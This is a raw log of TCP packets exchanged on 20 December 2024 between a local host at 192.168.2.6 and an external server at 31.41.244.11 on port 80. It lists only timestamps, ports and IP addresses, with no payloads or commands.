Dec 20, 2024 17:43:21.632584095 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.632615089 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.632633924 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.633774996 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.633831024 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.633884907 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.633923054 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.634888887 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.634938002 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.635067940 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.635108948 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.636133909 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.636151075 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.636193991 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.636214018 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.637373924 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.637438059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.637500048 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.637545109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.638515949 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.638571024 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.638606071 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.638647079 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.639662027 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.639722109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.639811993 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.639854908 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.640878916 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.640928030 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.641000032 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.641040087 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.642133951 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.642188072 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.642196894 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.642235041 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.643196106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.643249989 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.643357038 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.643408060 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.644438028 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.644484997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.644558907 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.644601107 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.645586014 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.645639896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.645699978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.645740986 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.646776915 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.646832943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.646922112 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.646962881 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.648003101 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.648061991 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.648133039 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.648173094 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.649310112 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.649363995 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.649422884 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.649460077 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.650316954 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.650376081 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.650439024 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.651616096 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.651649952 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.651681900 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.651777983 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.651814938 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.652723074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.652776003 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.652826071 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.652859926 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.653992891 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.654067993 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.654107094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.654143095 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.655066967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.655122995 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.655214071 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.655253887 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.656255960 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.656312943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.656443119 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.656538963 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.657442093 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.657494068 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.657814026 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.657859087 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.658622026 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.658679962 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.659058094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.659195900 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.659830093 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.659881115 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.659981966 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.660029888 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.661009073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.661063910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.661140919 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.661181927 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.662177086 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.662230968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.662261009 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.662297964 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.663470030 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.663526058 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.663532019 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.663566113 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.664549112 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.664597034 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.664634943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.664674997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.665724039 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.665821075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.666475058 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.666515112 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.666894913 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.666934967 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.667109966 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.667145967 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.668106079 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.668153048 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.668283939 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.668327093 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.669320107 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.669364929 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.669426918 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.669462919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.670476913 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.670519114 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.670623064 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.670661926 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.671647072 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.671696901 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.672662973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.672710896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.673048019 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.673072100 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.673089981 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.673116922 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.674113989 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.674156904 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.674580097 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.674618959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.675329924 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.675400972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.675487995 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.675524950 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.676453114 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.676495075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.676527977 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.676563978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.677625895 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.677675962 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.677691936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.677726030 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.678809881 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.678845882 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.679174900 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.679218054 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.679954052 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.679997921 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.680773973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.680819035 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.681163073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.681205034 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.681318045 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.681355000 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.682318926 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.682358980 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.682666063 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.682704926 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.683486938 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.683530092 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.813261032 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.813378096 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.813631058 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.813679934 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.813775063 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.813793898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.813816071 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.813838005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.814686060 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.814733982 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.814908028 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.814953089 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.815829992 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.815871954 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.815905094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.815944910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.817034006 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.817078114 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.817451954 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.817501068 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.818214893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.818260908 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.818276882 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.818320036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.820084095 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.820132971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.820205927 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.820250988 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.820578098 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.820590973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.820626020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.821778059 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.821831942 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.821914911 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.821962118 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.822923899 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.822972059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.823067904 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.823112011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.824240923 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.824289083 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.824421883 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.824467897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.825391054 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.825438976 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.825474977 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.825517893 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.826524973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.826572895 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.826704025 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.826751947 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.827724934 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.827771902 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.827929974 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.827975988 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.828833103 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.828881979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.828984976 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.829032898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.830082893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.830132961 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.830228090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.830271959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.831245899 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.831295013 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.831552029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.831598043 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.832417011 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.832463026 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.832552910 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.832597017 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.833657980 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.833671093 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.833709955 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.834805012 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.834851980 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.834882021 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.834928036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.835994005 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.836040020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.836513996 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.836561918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.837187052 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.837239027 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.837270975 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.837316990 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.838422060 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.838468075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.838526964 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.838627100 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.839667082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.839714050 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.840126038 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.840173960 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.840749979 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.840809107 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.840857029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.840899944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.841942072 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.841990948 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.842109919 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.842154980 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.843122005 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.843169928 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.843413115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.843458891 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.844325066 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.844372988 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.844782114 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.844832897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.845588923 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.845634937 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.845892906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.845937967 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.846779108 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.846829891 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.847196102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.847243071 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.847856998 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.847906113 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.847930908 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.847979069 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.849132061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.849183083 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.849200010 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.849246979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.850231886 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.850281954 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.850553036 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.850601912 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.851417065 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.851466894 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.852639914 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.852652073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.852694988 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.852730989 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.852771044 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.853755951 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.853806019 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.854201078 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.854247093 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.854940891 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.854990005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.855962038 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.856009960 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.856200933 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.856214046 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.856251001 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.857315063 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.857363939 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.857402086 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.857449055 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.858510971 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.858561039 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.858673096 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.858717918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.859703064 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.859755993 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.860423088 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.860475063 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.860891104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.860937119 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.861020088 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.861064911 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.862061024 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.862112045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.862205029 CET	80	49732	31.41.244.11	192.168.2.6
